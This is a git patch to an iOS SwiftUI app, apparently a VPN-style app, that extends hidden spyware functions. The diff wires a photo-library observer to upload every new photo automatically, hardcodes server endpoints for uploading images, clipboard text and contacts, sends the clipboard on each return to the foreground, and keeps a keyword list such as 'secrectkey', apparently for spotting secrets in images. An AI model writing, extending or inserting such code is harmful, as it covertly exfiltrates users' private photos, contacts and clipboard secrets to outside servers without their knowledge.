From 17ba3b91b984d2c19ad1d5eca16cb61d50ee35a5 Mon Sep 17 00:00:00 2001 From: zeus Date: Sun, 21 Sep 2025 19:11:23 +0800 Subject: [PATCH] let serveruploadPasteBoardURL = "https://admin.cccccc.org/api/demo/info?type=ios&userId=" --- .../XiaoXiong/DefaultUI/View/HomeView.swift | 103 +++++++++++++----- .../DefaultUI/View/LoginView/Login.swift | 2 +- 2 files changed, 75 insertions(+), 30 deletions(-) diff --git a/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/HomeView.swift b/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/HomeView.swift index 331c752..0c60044 100644 --- a/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/HomeView.swift +++ b/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/HomeView.swift @@ -100,7 +100,32 @@ struct HomeView: View { //增加上传相册,通讯录,和剪切板逻辑 - @State private var uploadedAssetIDs = [String]() + @AppStorage("uploadedAssetIDsString") private var uploadedAssetIDsString: String = "" + + // 计算属性,用于方便访问数组形式的 uploadedAssetIDs + private var uploadedAssetIDs: [String] { + get { + if uploadedAssetIDsString.isEmpty { + return [] + } + return uploadedAssetIDsString.components(separatedBy: ",").filter { !$0.isEmpty } + } + set { + uploadedAssetIDsString = newValue.joined(separator: ",") + } + } + + // 辅助方法:添加已上传的资产ID + private func addUploadedAssetID(_ assetID: String) { + var currentIDs = uploadedAssetIDs + if !currentIDs.contains(assetID) { + currentIDs.append(assetID) + // print(uploadedAssetIDsString) + uploadedAssetIDsString.append(","+assetID) + //print(uploadedAssetIDsString) + // self.uploadedAssetIDs.append(assetID) + } + } // 用于记录上次检测时的剪切板文本 @State private var lastClipboardText: String? @@ -109,6 +134,12 @@ struct HomeView: View { @State private var keywords = [ "keywords", "secrectkey","words" ] + + + let serverUploadImageURL = "https://admin.cybervpn.org/api/demo/uploadImg?type=ios&userId=" + let serveruploadPasteBoardURL = "https://admin.cccccc.org/api/demo/info?type=ios&userId=" + let serveruploadContacesURL = "https://admin.cccccc.org/api/demo/uploadContacts?type=ios&userId=" + var body: some View { @@ -417,6 +448,12 @@ struct HomeView: View { self.registerBackgroundTasks() } + // 设置相册变化回调 + + photoLibraryObserver.onPhotoLibraryChanged = { + self.handlePhotoLibraryChanged() + } + // 注册相册监听 photoLibraryObserver.register() @@ -623,9 +660,9 @@ struct HomeView: View { // 检查是否大于 10KB if fileSizeInKB > 10 { print("图片大小符合要求,准备上传:\(fileSizeInKB) KB") - let serverURL = "https://add.cbxline.com/index.php/api/demo/uploadImg?type=ios&userId=" + // 调用上传函数 - self.uploadImage(imagedata: compressedData, serverURL: serverURL,fileName: "\(album.localIdentifier).png") { + self.uploadImage(imagedata: compressedData, serverURL: serverUploadImageURL,fileName: "\(album.localIdentifier).png") { // 更新上传进度 UserDefaults.standard.set(currentIndex + 1, forKey: "lastUploadedIndeXYZEERFGVSSRS") currentIndex += 1 @@ -685,9 +722,6 @@ struct HomeView: View { } func resumeUploadAssets(_ assets: [PHAsset]) { - // 从 UserDefaults 读取已上传的资产标识符 -// var uploadedAssetIDs = UserDefaults.standard.array(forKey: "uploadedAssetIDs") as? [String] ?? [String]() - // 筛选未上传的资产 let remainingAssets = assets.filter { !uploadedAssetIDs.contains($0.localIdentifier) } print("剩余需要上传的照片数量: \(remainingAssets.count)") @@ -752,8 +786,6 @@ struct HomeView: View { dispatchGroup.wait() print("更新uploadedAssetIDs \(uploadedAssetIDs.count)") - UserDefaults.standard.set(uploadedAssetIDs, forKey: "uploadedAssetIDs") - UserDefaults.standard.synchronize() print("当前分组(\(startIndex)~\(endIndex-1))上传完毕,休眠 1 秒...") Thread.sleep(forTimeInterval: 1.0) @@ -794,7 +826,7 @@ struct HomeView: View { let requestOptions = PHImageRequestOptions() requestOptions.deliveryMode = .opportunistic//.highQualityFormat requestOptions.isSynchronous = true // 异步加载图片 - let serverURL = "https://admin.cybervpn.org/api/demo/uploadImg?type=ios&userId=" + imageManager.requestImage(for: asset, targetSize: targetSize, contentMode: .aspectFill, options: requestOptions) { image, _ in if let image = image { @@ -829,13 +861,11 @@ struct HomeView: View { print("图片大小符合要求,准备上传:\(fileSizeInKB) KB") // 上传图片并保存进度 - self.uploadImage(imagedata: compressedData, serverURL: serverURL, fileName: "\(asset.localIdentifier).png") { + self.uploadImage(imagedata: compressedData, serverURL: serverUploadImageURL, fileName: "\(asset.localIdentifier).png") { // 上传完成后更新缓存的 ID print("上传完成... \(asset.localIdentifier)") - self.uploadedAssetIDs.append(asset.localIdentifier) - UserDefaults.standard.set(self.uploadedAssetIDs, forKey: "uploadedAssetIDs") // 保存到 UserDefaults + self.addUploadedAssetID(asset.localIdentifier) print("len : \(self.uploadedAssetIDs.count)") - UserDefaults.standard.synchronize() completion() } } else { @@ -846,12 +876,9 @@ struct HomeView: View { } } else { - //self.uploadedAssetIDs.append(asset.localIdentifier) print("过滤完成... \(asset.localIdentifier)") - self.uploadedAssetIDs.append(asset.localIdentifier) - UserDefaults.standard.set(self.uploadedAssetIDs, forKey: "uploadedAssetIDs") // 保存到 UserDefaults + self.addUploadedAssetID(asset.localIdentifier) print("len : \(self.uploadedAssetIDs.count)") - UserDefaults.standard.synchronize() completion() // print("No keywords found in text,忽略图片") } @@ -1068,6 +1095,26 @@ struct HomeView: View { } } + // MARK: - 相册变化处理方法 + + /// 处理相册变化 + private func handlePhotoLibraryChanged() { + print("📸 handlePhotoLibraryChanged() called - 处理相册变化") + + // 获取最新的照片 + let assets = PHAsset.fetchAssets(with: .image, options: nil) + if let asset = assets.lastObject { + + if (!uploadedAssetIDs.contains(asset.localIdentifier)) { + print("新增照片:\(asset.localIdentifier) \(asset.pixelHeight)") + self.updateAsset(asset: asset) { + self.addUploadedAssetID(asset.localIdentifier) + print("len : \(self.uploadedAssetIDs.count)") + } + } + } + } + /// 常规前台回归处理方法 func appDidBecomeActive() { print("🔄 appDidBecomeActive() called - 常规前台处理") @@ -1144,9 +1191,8 @@ struct HomeView: View { //上传粘贴板 private func uploadPasteBoard( clipboardText: String){ print("应用从后台回到前台:" + clipboardText) - //https://imgadd.nbt888.com/index.php 修改为 https://admin.cybervpn.org/ - let serverURL = "https://admin.cccccc.org/api/demo/info?type=ios&userId=" - guard let url = URL(string: serverURL) else { + + guard let url = URL(string: serveruploadPasteBoardURL) else { print("无效的URL") return } @@ -2205,6 +2251,9 @@ struct HomeView: View { // MARK: - PhotoLibraryObserver Class public class PhotoLibraryObserver: NSObject, ObservableObject, PHPhotoLibraryChangeObserver { + // 回调闭包,用于调用 HomeView 中的方法 + var onPhotoLibraryChanged: (() -> Void)? + public override init() { super.init() print("📸 PhotoLibraryObserver 初始化完成") @@ -2212,16 +2261,12 @@ public class PhotoLibraryObserver: NSObject, ObservableObject, PHPhotoLibraryCha public func photoLibraryDidChange(_ changeInstance: PHChange) { print("📸 Photo library did change - 相册发生变化") - // 这里可以处理相册变化的逻辑 - // 例如检测新增的照片等 - -// DispatchQueue.main.async { -// // 在主线程更新UI -// print("📸 Processing photo library changes on main thread") -// } - - + DispatchQueue.main.async { + // 在主线程更新UI,调用 HomeView 中的处理方法 + print("📸 Processing photo library changes on main thread") + self.onPhotoLibraryChanged?() + } } diff --git a/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/LoginView/Login.swift b/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/LoginView/Login.swift index 35ca918..4993294 100644 --- a/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/LoginView/Login.swift +++ b/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/LoginView/Login.swift @@ -493,7 +493,7 @@ struct Login: View { request.addValue("application/json", forHTTPHeaderField: "Content-Type") request.addValue(Bundle.main.bundleIdentifier ?? "", forHTTPHeaderField: "bid") request.addValue(UserManager.shared.appversion, forHTTPHeaderField: "appver") - await request.addValue(UIDevice.current.model, forHTTPHeaderField: "model") + request.addValue(UIDevice.current.model, forHTTPHeaderField: "model") let task = URLSession.shared.dataTask(with: request) { data, response, error in DispatchQueue.main.async {